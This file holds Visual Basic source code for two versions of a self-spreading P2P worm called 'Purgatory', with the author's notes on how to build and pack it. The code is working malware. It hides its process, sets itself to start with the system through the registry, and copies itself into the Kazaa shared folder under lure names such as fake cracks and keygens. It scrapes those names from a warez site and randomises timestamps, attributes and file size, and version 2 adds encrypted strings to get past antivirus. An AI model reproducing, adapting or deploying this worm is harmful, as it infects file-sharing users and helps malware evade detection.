'Worm.P2P.Purgatory by DiA[rRlf]
'http://www.vx-dia.de.vu - DiA@rrlf.de
'--------------------------------------------------------------------
'
'
'
':intro
' Welcome to a new kind of P2P worm. I know that much lame P2P worms are
' exist. P2P spreading as one is lame, and very simple to do. But a idea comes to
' my mind how to make this lame spreading method a little bit better.
' So I resulute to write this little thing...and yes, in VB =)
'
'
':main-feature
' This creature get the fake names for the worm from the internet. There are
' many Warez/Keyz sites on the internet, with a huge list of newest software,
' and there will be updated every day/week. My "victim" site for this worm is
' ht*p://www.serialheaven.com/, becauze simple structure of the lists (.html)
' , easy to read the fake names, and huge lists. The lists stored in
' ht*p://www.serialheaven.com/namelist/a.html (0-9, a-z .html). This worm download
' one of this lists randomly, and read out the fake names. Sometimes there are only
' 20 fake names, and sometimes about 1200 fake names.
'
'
':all-features
' - downloading fake names
' - random appendix to the fake file name:
' o "" (nothing)
' o "_Crack"
' o "_Serial"
' o "_Keygen"
' - hiding worm process (register as system process)
' - autostart with registry
' - drop a copy in windows folder: Purga.exe
' - download fake name list in windows folder: PurgaList.DiA
' - if no connection to internet, drop 10 copys of worm in kazaa shared folder
' - random attributes of worms
' o Normal
' o System
' o Hidden
' - random date/time of files (from 01.01.1999 00:00:00 to 31.12.2004 24:59:59)
' - simple silent worm, no payload
'
'
':make a executable
' - compile it with Visual Basic 6 Compiler
' - remove all file properties with "ResourceHacker" (thx to Falckon for his tut)
' - pack it with upx: UPX Purgatory.exe
' - filesize now: 12288 bytes
'
'
':outro
' Thats all about this, VB source is easy to understand, so take a look at the
' source if you want to understand how this bitch works. Any comments, greetz,
' fucks, ... please mail to DiA@rrlf.de
' Check out my website http://www.vx-dia.de.vu
' 09.07.2004 - DiA[rRlf]
'-------------------------------------------------------------------------------
'to get the handle
Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long
'to register the process as system process, and hide it from task manager
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessId As Long, ByVal dwType As Long) As Long
'to download a file from http protocol
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal Zero1 As Long, ByVal URL As String, ByVal SaveTo As String, ByVal Zero2 As Long, ByVal Zero3 As Long) As Long
'to stop the program some seconds
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
'to write a random file date/time ... with apis
Private Type FileTime
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Private Type SYSTEMTIME
wYear As Integer
wMonth As Integer
wDayOfWeek As Integer
wDay As Integer
wHour As Integer
wMinute As Integer
wSecond As Integer
wMilliSeconds As Integer
End Type
Private Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFilename As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, ByVal lpSecurityAttributes As Long, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function SetFileTime Lib "kernel32" (ByVal hFile As Long, lpCreationTime As FileTime, lpLastAccessTime As FileTime, lpLastWriteTime As FileTime) As Long
Private Declare Function FileTimeToLocalFileTime Lib "kernel32" (lpFileTime As FileTime, lpLocalFileTime As FileTime) As Long
Private Declare Function FileTimeToSystemTime Lib "kernel32" (lpFileTime As FileTime, lpSystemTime As SYSTEMTIME) As Long
Private Declare Function SystemTimeToFileTime Lib "kernel32" (lpSystemTime As SYSTEMTIME, lpFileTime As FileTime) As Long
Private Declare Function LocalFileTimeToFileTime Lib "kernel32" (lpLocalFileTime As FileTime, lpFileTime As FileTime) As Long
Private Sub Form_Load()
On Error Resume Next
Dim fso As Object
Dim CurrentPath As String
Dim Purgatory As String
Dim WindowsPath As String
Dim ws As Object
Dim KazaaSharedFolder As String
Dim NumOrChar As Integer
Dim RanFile As String
Dim FileToDownload As String
Dim startPos As Long
Dim endPos As Long
Dim FakeName As String
Dim FileString As String
Dim StaticName As String
Dim DiAPurgatory As String
'hide purgatory process from tak manager
RegisterServiceProcess GetCurrentProcessId, 1
'-------------------------------------------------------------
'for avers..
DiAPurgatory = "Worm.P2P.Purgatory" & _
"coded by DiA[rRlf]" & _
"(c)2004 Germany" & _
"http://www.vx-dia.de.vu"
'-------------------------------------------------------------
'get current path and filename
If Right(App.Path, 1) <> "\" Then
CurrentPath = App.Path & "\"
Else
CurrentPath = App.Path
End If
Purgatory = App.EXEName & ".exe"
'-------------------------------------------------------------
'get windows directory and if current is not win, show a fake error
WindowsPath = Environ("WinDir") & "\"
If CurrentPath <> WindowsPath Then
MsgBox "Fatal error 03022004 on " & Purgatory & vbCrLf & _
"If you downloaded this application, please do it again." _
, vbCritical, "Fatal Error"
End If
'-------------------------------------------------------------
'check if copy of purgatory already in windows folder exist
Set fso = CreateObject("Scripting.FileSystemObject")
If fso.FileExists(WindowsPath & "Purga.exe") = False Then
FileCopy CurrentPath & Purgatory, WindowsPath & "Purga.exe" 'copy to windows folder
End If
'-------------------------------------------------------------
'write to the registry, to startup with every system start
RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Purgatory", WindowsPath & "Purga.exe"
'-------------------------------------------------------------
'read kazaa shared folder from the registry
KazaaSharedFolder = RegRead("HKEY_CURRENT_USER\Software\Kazaa\Transfer\DlDir0") & "\"
If KazaaSharedFolder = "DiA[rRlf]\" Then End 'no kazaa, no worm
'-------------------------------------------------------------
'sleep some seconds before do the work
Sleep 15000 '15 sek
'-------------------------------------------------------------
'create a random filename to download
NumOrChar = RandomNumber(0, 1) 'random 0-9, or a-z
If NumOrChar = 0 Then
RanFile = Chr(RandomNumber(48, 57)) '0-9
Else
RanFile = Chr(RandomNumber(97, 122)) 'a-z
End If
FileToDownload = "http://www.serialheaven.com/namelist/" & RanFile & ".html"
'-------------------------------------------------------------
'download a file from serialheaven and save in windows folder
DLresult = URLDownloadToFile(0, FileToDownload, WindowsPath & "PurgaList.DiA", 0, 0)
If DLresult <> 0 Then GoTo StaticNames 'error
DLComplete:
If fso.FileExists(WindowsPath & "PurgaList.DiA") = False Then GoTo DLComplete
'-------------------------------------------------------------
'find Fakenames in this file, and copy worm to this fakename in kazaa shared folder
Open WindowsPath & "PurgaList.DiA" For Binary As #1
FileString = Space(LOF(1))
Get #1, , FileString
Close #1
Do
startPos = InStr(startPos + 1, FileString, "')"">", vbTextCompare)
If startPos > 0 Then
endPos = InStr(startPos + 4, FileString, "")
If endPos > 0 Then
FakeName = Mid$(FileString, startPos + 4, endPos - startPos - 4)
FakeName = CreateString(FakeName)
CopyPurgatory CurrentPath & Purgatory, KazaaSharedFolder & FakeName
End If
End If
Loop Until startPos = 0
GoTo TheEnd
'-------------------------------------------------------------
'cant get names via download, so get my own names..
StaticNames:
StaticName = KazaaSharedFolder & CreateString("Visual Basic 6")
CopyPurgatory CurrentPath & Purgatory, StaticName
RandomDateTime StaticName
StaticName = KazaaSharedFolder & CreateString("Microsoft Office 2000 Premium Final")
CopyPurgatory CurrentPath & Purgatory, StaticName
RandomDateTime StaticName
StaticName = KazaaSharedFolder & CreateString("Microsoft Windows 98 Second Edition Full Retail")
CopyPurgatory CurrentPath & Purgatory, StaticName
RandomDateTime StaticName
StaticName = KazaaSharedFolder & CreateString("F-Secure AntiVirus 5.3")
CopyPurgatory CurrentPath & Purgatory, StaticName
RandomDateTime StaticName
StaticName = KazaaSharedFolder & CreateString("Flashfxp V2.0 Build 901")
CopyPurgatory CurrentPath & Purgatory, StaticName
RandomDateTime StaticName
StaticName = KazaaSharedFolder & CreateString("FlashGet Multilanguage 1.1")
CopyPurgatory CurrentPath & Purgatory, StaticName
RandomDateTime StaticName
StaticName = KazaaSharedFolder & CreateString("The Sims Livin Large")
CopyPurgatory CurrentPath & Purgatory, StaticName
RandomDateTime StaticName
StaticName = KazaaSharedFolder & CreateString("RAV Antivirus Desktop 8.0.56.29")
CopyPurgatory CurrentPath & Purgatory, StaticName
RandomDateTime StaticName
StaticName = KazaaSharedFolder & CreateString("Windows XP Pro Corporate Final")
CopyPurgatory CurrentPath & Purgatory, StaticName
RandomDateTime StaticName
StaticName = KazaaSharedFolder & CreateString("WinRAR 2.50 b3a")
CopyPurgatory CurrentPath & Purgatory, StaticName
RandomDateTime StaticName
'simplest fuckin way for p2p spreading...who cares suckz
'-------------------------------------------------------------
'end off all
TheEnd:
End
'-------------------------------------------------------------
End Sub
Function RegWrite(ByVal Path As String, ByVal Value As String) As Boolean
'to write to the registry
Set ws = CreateObject("WScript.Shell")
ws.RegWrite Path, Value, "REG_SZ"
'-------------------------------------------------------------
End Function
Function RegRead(Path As String) As String
'to read from the registry
On Error GoTo NoKazaa
Set ws = CreateObject("WScript.Shell")
RegRead = ws.RegRead(Path)
Exit Function
NoKazaa:
RegRead = "DiA[rRlf]"
'-------------------------------------------------------------
End Function
Function RandomNumber(ByVal min, ByVal max)
'to get a random number between min and max
Randomize
RandomNumber = Int(min + (max - min + 1) * Rnd)
'-------------------------------------------------------------
End Function
Function CreateString(ByVal FakeFileName As String)
'to generate a random string: FakeFileName_Crack/Keygen/Serial/ /
Dim RanType(3) As String
Dim RandomType As Integer
RanType(0) = ""
RanType(1) = "_Serial"
RanType(2) = "_Keygen"
RanType(3) = "_Crack"
RandomType = RandomNumber(0, 3)
CreateString = FakeFileName & RanType(RandomType) & ".exe"
'-------------------------------------------------------------
End Function
Function CopyPurgatory(ByVal Source As String, ByVal Target As String)
'copy worm to fakefilenames with random attributes, normal, hidden, system...
Dim RanAttr(2) As Integer
Dim RandomAttr As Integer
RanAttr(0) = vbNormal
RanAttr(1) = vbHidden
RanAttr(2) = vbSystem
RandomAttr = RandomNumber(0, 2)
FileCopy Source, Target
RandomDateTime Target
SetAttr Target, RanAttr(RandomAttr)
'-------------------------------------------------------------
End Function
Function WriteFileTime(ByVal lpFilename As String, ByVal tCreation As Date, ByVal tLastAccess As Date, ByVal tLastWrite As Date) As Boolean
'to set the filetime to a copy of worm
Dim fHandle As Long
Dim ftCreation As FileTime
Dim ftLastAccess As FileTime
Dim ftLastWrite As FileTime
Dim LocalFileTime As FileTime
Dim LocalSystemTime As SYSTEMTIME
WriteFileTime = False
fHandle = CreateFile(lpFilename, &H40000000, 0, 0, 3, 0, 0)
If fHandle <> 0 Then
With LocalSystemTime
.wDay = Day(tCreation)
.wDayOfWeek = Weekday(tCreation)
.wMonth = Month(tCreation)
.wYear = Year(tCreation)
.wHour = Hour(tCreation)
.wMinute = Minute(tCreation)
.wSecond = Second(tCreation)
End With
SystemTimeToFileTime LocalSystemTime, LocalFileTime
LocalFileTimeToFileTime LocalFileTime, ftCreation
With LocalSystemTime
.wDay = Day(tLastAccess)
.wDayOfWeek = Weekday(tLastAccess)
.wMonth = Month(tLastAccess)
.wYear = Year(tLastAccess)
.wHour = Hour(tLastAccess)
.wMinute = Minute(tLastAccess)
.wSecond = Second(tLastAccess)
End With
SystemTimeToFileTime LocalSystemTime, LocalFileTime
LocalFileTimeToFileTime LocalFileTime, ftLastAccess
With LocalSystemTime
.wDay = Day(tLastWrite)
.wDayOfWeek = Weekday(tLastWrite)
.wMonth = Month(tLastWrite)
.wYear = Year(tLastWrite)
.wHour = Hour(tLastWrite)
.wMinute = Minute(tLastWrite)
.wSecond = Second(tLastWrite)
End With
SystemTimeToFileTime LocalSystemTime, LocalFileTime
LocalFileTimeToFileTime LocalFileTime, ftLastWrite
If SetFileTime(fHandle, ftCreation, ftLastAccess, ftLastWrite) <> 0 Then
WriteFileTime = True
End If
CloseHandle fHandle
End If
'-------------------------------------------------------------
End Function
Function RandomTime() As String
'to create a random time
Dim RanHour As String
Dim RanMin As String
Dim RanSek As String
RanHour = RandomNumber(0, 24)
If RanHour < 10 Then
RanHour = "0" & RanHour
End If
RanMin = RandomNumber(0, 59)
If RanMin < 10 Then
RanMin = "0" & RanMin
End If
RanSek = RandomNumber(0, 59)
If RanSek < 10 Then
RanSek = "0" & RanSek
End If
RandomTime = RanHour & ":" & RanMin & ":" & RanSek
'-------------------------------------------------------------
End Function
Function RandomDate() As String
'to get a random date
Dim RanDay As String
Dim RanMonth As String
Dim RanYear As String
RanDay = RandomNumber(1, 31)
If RanDay < 10 Then
RanDay = "0" & RanDay
End If
RanMonth = RandomNumber(1, 12)
If RanMonth < 10 Then
RanMonth = "0" & RanMonth
End If
RanYear = RandomNumber(1999, 2004)
RandomDate = RanDay & "." & RanMonth & "." & RanYear
'-------------------------------------------------------------
End Function
Function RandomDateTime(ByVal WormCopy As String)
'set the random date/time to the file
Dim DCreation As Date
Dim DLastAccess As Date
Dim DLastWrite As Date
DCreation = CDate(RandomDate & " " & RandomTime)
DLastAccess = CDate(RandomDate & " " & RandomTime)
DLastWrite = CDate(RandomDate & " " & RandomTime)
WriteFileTime WormCopy, DCreation, DLastAccess, DLastWrite
'-------------------------------------------------------------
End Function
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'Here is Purgatory 2, also released in DCA #1
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'Worm.P2P.Purgatory 2 by DiA[rRlf]
'http://www.vx-dia.de.vu - DiA_hates_machine@gmx.de
'--------------------------------------------------------------------
'
':[welcome to Purgatory 2
' All comments between "[" and "]" are additional comments to Purgatory 1.
' Purgatory 1 will be released in rRlf #5, stay tuned.]
'
'
':intro
' Welcome to a new kind of P2P worm. I know that much lame P2P worms are
' exist. P2P spreading as one is lame, and very simple to do. But a idea comes to
' my mind how to make this lame spreading method a little bit better.
' So I resulute to write this little thing...and yes, in VB =)
'
'
':main-feature
' This creature get the fake names for the worm from the internet. There are
' many Warez/Keyz sites on the internet, with a huge list of newest software,
' and there will be updated every day/week. My "victim" site for this worm is
' ht*p://www.serialheaven.com/, becauze simple structure of the lists (.html)
' , easy to read the fake names, and huge lists. The lists stored in
' ht*p://www.serialheaven.com/namelist/a.html (0-9, a-z .html). This worm download
' one of this lists randomly, and read out the fake names. Sometimes there are only
' 20 fake names, and sometimes about 1200 fake names.
'
'
':all-features
' - downloading fake names
' - random appendix to the fake file name:
' o "" (nothing)
' o "_Crack"
' o "_Serial"
' o "_Keygen"
' - hiding worm process (register as system process)
' - autostart with registry
' - drop a copy in windows folder: Purga.exe
' - download fake name list in windows folder: PurgaList.DiA
' - if no connection to internet, drop 10 copys of worm in kazaa shared folder
' - random attributes of worms
' o Normal
' o System
' o Hidden
' - random date/time of files (from 01.01.1999 00:00:00 to 31.12.2004 24:59:59)
' - simple silent worm, no payload
' - [random size, from 0 byte appendix to 2304 bytes]
' - [simple encrypted strings]
'
':make a executable for Purgatory 2
' - compile it with Visual Basic 6 Compiler
' - remove all file properties with "ResourceHacker" (thx to Falckon for his tut)
' - pack it with upx: UPX Purgatory.exe
' - filesize now: 13824 bytes (size of Purgatory 1: 12288 bytes)
'
'
':[the cleaner
' I have written a little Worm-Cleaner for Purgatory. You can download it on my
' website: www.vx-dia.de.vu You simply have to run the Cleaner, press "clean"
' button and all is done. Now you only have to remove Purgatory copys from
' KazaA Shared Folder.
'
'
':outro
' Thats all about this, VB source is easy to understand, so take a look at the
' source if you want to understand how this bitch works. Any comments, greetz,
' fucks, ... please mail to DiA_hates_machine@gmx.de
' Check out my website http://www.vx-dia.de.vu
' 17.08.2004 - DiA[rRlf]
'-------------------------------------------------------------------------------
'to get the handle
Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long
'to register the process as system process, and hide it from task manager
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessId As Long, ByVal dwType As Long) As Long
'to download a file from http protocol
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal Zero1 As Long, ByVal URL As String, ByVal SaveTo As String, ByVal Zero2 As Long, ByVal Zero3 As Long) As Long
'to stop the program some seconds
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
'to write a random file date/time ... with apis
Private Type FileTime
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Private Type SYSTEMTIME
wYear As Integer
wMonth As Integer
wDayOfWeek As Integer
wDay As Integer
wHour As Integer
wMinute As Integer
wSecond As Integer
wMilliSeconds As Integer
End Type
Private Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFilename As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, ByVal lpSecurityAttributes As Long, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function SetFileTime Lib "kernel32" (ByVal hFile As Long, lpCreationTime As FileTime, lpLastAccessTime As FileTime, lpLastWriteTime As FileTime) As Long
Private Declare Function FileTimeToLocalFileTime Lib "kernel32" (lpFileTime As FileTime, lpLocalFileTime As FileTime) As Long
Private Declare Function FileTimeToSystemTime Lib "kernel32" (lpFileTime As FileTime, lpSystemTime As SYSTEMTIME) As Long
Private Declare Function SystemTimeToFileTime Lib "kernel32" (lpSystemTime As SYSTEMTIME, lpFileTime As FileTime) As Long
Private Declare Function LocalFileTimeToFileTime Lib "kernel32" (lpLocalFileTime As FileTime, lpFileTime As FileTime) As Long
Private Sub Form_Load()
On Error Resume Next
Dim fso As Object
Dim CurrentPath As String
Dim Purgatory As String
Dim WindowsPath As String
Dim ws As Object
Dim KazaaSharedFolder As String
Dim NumOrChar As Integer
Dim RanFile As String
Dim FileToDownload As String
Dim startPos As Long
Dim endPos As Long
Dim FakeName As String
Dim FileString As String
Dim StaticName(9) As String
Dim NameNumber As Integer
Dim DiAPurgatory As String
'hide purgatory process from task manager
RegisterServiceProcess GetCurrentProcessId, 1
'-------------------------------------------------------------
'for avers..
DiAPurgatory = DecryptString("d|z;]?];]tn|-p|qrq-o-QvNh_ysj-5p6?==A-Trzn{")
'-------------------------------------------------------------
'get current path and filename
If Right(App.Path, 1) <> DecryptString("i") Then
CurrentPath = App.Path & DecryptString("i")
Else
CurrentPath = App.Path
End If
Purgatory = App.EXEName & DecryptString(";rr")
'-------------------------------------------------------------
'get windows directory and if current is not win, show a fake error
WindowsPath = Environ(DecryptString("dv{Qv")) & DecryptString("i")
If CurrentPath <> WindowsPath Then
MsgBox DecryptString("Snny-r|-=@=??==A-|{-") & Purgatory & vbCrLf & _
DecryptString("Vs-|-q|{y|nqrq-uv-n}}yvpnv|{9-}yrnr-q|-v-ntnv{;") _
, vbCritical, DecryptString("Snny-R|")
End If
'-------------------------------------------------------------
'check if copy of purgatory already in windows folder exist
Set fso = CreateObject(DecryptString("`pv}v{t;Svyr`rz\owrp"))
If fso.FileExists(WindowsPath & DecryptString("]tn;rr")) = False Then
FileCopy CurrentPath & Purgatory, WindowsPath & DecryptString("]tn;rr") 'copy to windows folder
End If
'-------------------------------------------------------------
'write to the registry, to startup with every system start
RegWrite DecryptString("UXRflY\PNYlZNPUV[Ri`|snriZvp||sidv{q|iPr{crv|{i_{i]tn|"), WindowsPath & DecryptString("]tn;rr")
'-------------------------------------------------------------
'read kazaa shared folder from the registry
KazaaSharedFolder = RegRead(DecryptString("UXRflPb__R[alb`R_i`|snriXnnnian{sriQyQv=")) & DecryptString("i")
If KazaaSharedFolder = DecryptString("QvNh_ysji") Then End 'no kazaa, no worm
'-------------------------------------------------------------
'sleep some seconds before do the work
Sleep 15000 '15 sek
'-------------------------------------------------------------
'create a random filename to download
NumOrChar = RandomNumber(0, 1) 'random 0-9, or a-z
If NumOrChar = 0 Then
RanFile = Chr(RandomNumber(48, 57)) '0-9
Else
RanFile = Chr(RandomNumber(97, 122)) 'a-z
End If
FileToDownload = DecryptString("u}G<<;rvnyurnr{;p|z<{nzryv<") & RanFile & DecryptString(";uzy")
'-------------------------------------------------------------
'download a file from serialheaven and save in windows folder
DLresult = URLDownloadToFile(0, FileToDownload, WindowsPath & DecryptString("]tnYv;QvN"), 0, 0)
If DLresult <> 0 Then GoTo StaticNames 'error
DLComplete:
If fso.FileExists(WindowsPath & DecryptString("]tnYv;QvN")) = False Then GoTo DLComplete
'-------------------------------------------------------------
'find Fakenames in this file, and copy worm to this fakename in kazaa shared folder
Open WindowsPath & DecryptString("]tnYv;QvN") For Binary As #1
FileString = Space(LOF(1))
Get #1, , FileString
Close #1
Do
startPos = InStr(startPos + 1, FileString, DecryptString("46/K"), vbTextCompare)
If startPos > 0 Then
endPos = InStr(startPos + 4, FileString, DecryptString("I<nK"))
If endPos > 0 Then
FakeName = Mid$(FileString, startPos + 4, endPos - startPos - 4)
FakeName = CreateString(FakeName)
CopyPurgatory CurrentPath & Purgatory, KazaaSharedFolder & FakeName
End If
End If
Loop Until startPos = 0
GoTo TheEnd
'-------------------------------------------------------------
'cant get names via download, so get my own names..
StaticNames:
StaticName(0) = CreateString(DecryptString("cvny-Onvp-C"))
StaticName(1) = CreateString(DecryptString("Zvp||s-\ssvpr-?===-]rzvz-Sv{ny"))
StaticName(2) = CreateString(DecryptString("Zvp||s-dv{q|-FE-`rp|{q-Rqvv|{-Syy-_rnvy"))
StaticName(3) = CreateString(DecryptString("S:`rpr-N{vcv-B;@"))
StaticName(4) = CreateString(DecryptString("Synus}-c?;=-Ovyq-F=>"))
StaticName(5) = CreateString(DecryptString("SynuTr-Zyvyn{tntr->;>"))
StaticName(6) = CreateString(DecryptString("cvny-]P-?==A"))
StaticName(7) = CreateString(DecryptString("_Nc-N{vv-Qrx|}-E;=;BC;?F"))
StaticName(8) = CreateString(DecryptString("dv{q|-e]-]|-P|}|nr-Sv{ny"))
StaticName(9) = CreateString(DecryptString("dv{_N_-?;B=-QvN"))
NameNumber = 0
For i = 1 To 10 'do it in a other way the Purgatory.A
CopyPurgatory CurrentPath & Purgatory, KazaaSharedFolder & StaticName(NameNumber)
AddTrash KazaaSharedFolder & StaticName(NameNumber)
RandomDateTime KazaaSharedFolder & StaticName(NameNumber)
NameNumber = NameNumber + 1
Next i
'simplest fuckin way for p2p spreading...who cares suckz
'-------------------------------------------------------------
'end off all
TheEnd:
End
'-------------------------------------------------------------
End Sub
Function RegWrite(ByVal Path As String, ByVal Value As String) As Boolean
'to write to the registry
Set ws = CreateObject(DecryptString("d`pv};`uryy"))
ws.RegWrite Path, Value, DecryptString("_RTl`g")
'-------------------------------------------------------------
End Function
Function RegRead(Path As String) As String
'to read from the registry
On Error GoTo NoKazaa
Set ws = CreateObject(DecryptString("d`pv};`uryy"))
RegRead = ws.RegRead(Path)
Exit Function
NoKazaa:
RegRead = DecryptString("QvNh_ysj")
'-------------------------------------------------------------
End Function
Function RandomNumber(ByVal min, ByVal max)
'to get a random number between min and max
Randomize
RandomNumber = Int(min + (max - min + 1) * Rnd)
'-------------------------------------------------------------
End Function
Function CreateString(ByVal FakeFileName As String)
'to generate a random string: FakeFileName_Crack/Keygen/Serial/ /
Dim RanType(3) As String
Dim RandomType As Integer
RanType(0) = ""
RanType(1) = DecryptString("l`rvny")
RanType(2) = DecryptString("lXrtr{")
RanType(3) = DecryptString("lPnpx")
RandomType = RandomNumber(0, 3)
CreateString = FakeFileName & RanType(RandomType) & DecryptString(";rr")
'-------------------------------------------------------------
End Function
Function CopyPurgatory(ByVal Source As String, ByVal Target As String)
'copy worm to fakefilenames with random attributes, normal, hidden, system...
Dim RanAttr(2) As Integer
Dim RandomAttr As Integer
RanAttr(0) = vbNormal
RanAttr(1) = vbHidden
RanAttr(2) = vbSystem
RandomAttr = RandomNumber(0, 2)
FileCopy Source, Target
AddTrash Target
RandomDateTime Target
SetAttr Target, RanAttr(RandomAttr)
'-------------------------------------------------------------
End Function
Function WriteFileTime(ByVal lpFilename As String, ByVal tCreation As Date, ByVal tLastAccess As Date, ByVal tLastWrite As Date) As Boolean
'to set the filetime to a copy of worm
Dim fHandle As Long
Dim ftCreation As FileTime
Dim ftLastAccess As FileTime
Dim ftLastWrite As FileTime
Dim LocalFileTime As FileTime
Dim LocalSystemTime As SYSTEMTIME
WriteFileTime = False
fHandle = CreateFile(lpFilename, &H40000000, 0, 0, 3, 0, 0)
If fHandle <> 0 Then
With LocalSystemTime
.wDay = Day(tCreation)
.wDayOfWeek = Weekday(tCreation)
.wMonth = Month(tCreation)
.wYear = Year(tCreation)
.wHour = Hour(tCreation)
.wMinute = Minute(tCreation)
.wSecond = Second(tCreation)
End With
SystemTimeToFileTime LocalSystemTime, LocalFileTime
LocalFileTimeToFileTime LocalFileTime, ftCreation
With LocalSystemTime
.wDay = Day(tLastAccess)
.wDayOfWeek = Weekday(tLastAccess)
.wMonth = Month(tLastAccess)
.wYear = Year(tLastAccess)
.wHour = Hour(tLastAccess)
.wMinute = Minute(tLastAccess)
.wSecond = Second(tLastAccess)
End With
SystemTimeToFileTime LocalSystemTime, LocalFileTime
LocalFileTimeToFileTime LocalFileTime, ftLastAccess
With LocalSystemTime
.wDay = Day(tLastWrite)
.wDayOfWeek = Weekday(tLastWrite)
.wMonth = Month(tLastWrite)
.wYear = Year(tLastWrite)
.wHour = Hour(tLastWrite)
.wMinute = Minute(tLastWrite)
.wSecond = Second(tLastWrite)
End With
SystemTimeToFileTime LocalSystemTime, LocalFileTime
LocalFileTimeToFileTime LocalFileTime, ftLastWrite
If SetFileTime(fHandle, ftCreation, ftLastAccess, ftLastWrite) <> 0 Then
WriteFileTime = True
End If
CloseHandle fHandle
End If
'-------------------------------------------------------------
End Function
Function RandomTime() As String
'to create a random time
Dim RanHour As String
Dim RanMin As String
Dim RanSek As String
RanHour = RandomNumber(0, 24)
If RanHour < 10 Then
RanHour = "0" & RanHour
End If
RanMin = RandomNumber(0, 59)
If RanMin < 10 Then
RanMin = "0" & RanMin
End If
RanSek = RandomNumber(0, 59)
If RanSek < 10 Then
RanSek = "0" & RanSek
End If
RandomTime = RanHour & ":" & RanMin & ":" & RanSek
'-------------------------------------------------------------
End Function
Function RandomDate() As String
'to get a random date
Dim RanDay As String
Dim RanMonth As String
Dim RanYear As String
RanDay = RandomNumber(1, 31)
If RanDay < 10 Then
RanDay = "0" & RanDay
End If
RanMonth = RandomNumber(1, 12)
If RanMonth < 10 Then
RanMonth = "0" & RanMonth
End If
RanYear = RandomNumber(1999, 2004)
RandomDate = RanDay & "." & RanMonth & "." & RanYear
'-------------------------------------------------------------
End Function
Function RandomDateTime(ByVal WormCopy As String)
'set the random date/time to the file
Dim DCreation As Date
Dim DLastAccess As Date
Dim DLastWrite As Date
DCreation = CDate(RandomDate & " " & RandomTime)
DLastAccess = CDate(RandomDate & " " & RandomTime)
DLastWrite = CDate(RandomDate & " " & RandomTime)
WriteFileTime WormCopy, DCreation, DLastAccess, DLastWrite
'-------------------------------------------------------------
End Function
Function DecryptString(DecryptThis As String) As String
Dim Length As Integer
Dim Decrypted As String
Length = Len(DecryptThis)
For i = 1 To Length
Decrypted = Decrypted & Chr(Asc(Mid(DecryptThis, i, 1)) - 13)
Next i
DecryptString = Decrypted
End Function
Function Trash() As String
Dim TrashLength As Integer
TrashLength = RandomNumber(0, 2304)
For i = 1 To TrashLength
Trash = Trash & Chr(RandomNumber(48, 122))
Next i
End Function
Function AddTrash(TrashName As String)
Dim OrgFile As String
Open TrashName For Binary Access Read As #1
OrgFile = Space(13824)
Get #1, , OrgFile
Close #1
Open TrashName For Binary Access Write As #1
Put #1, , OrgFile
Put #1, , Trash
Close #1
End Function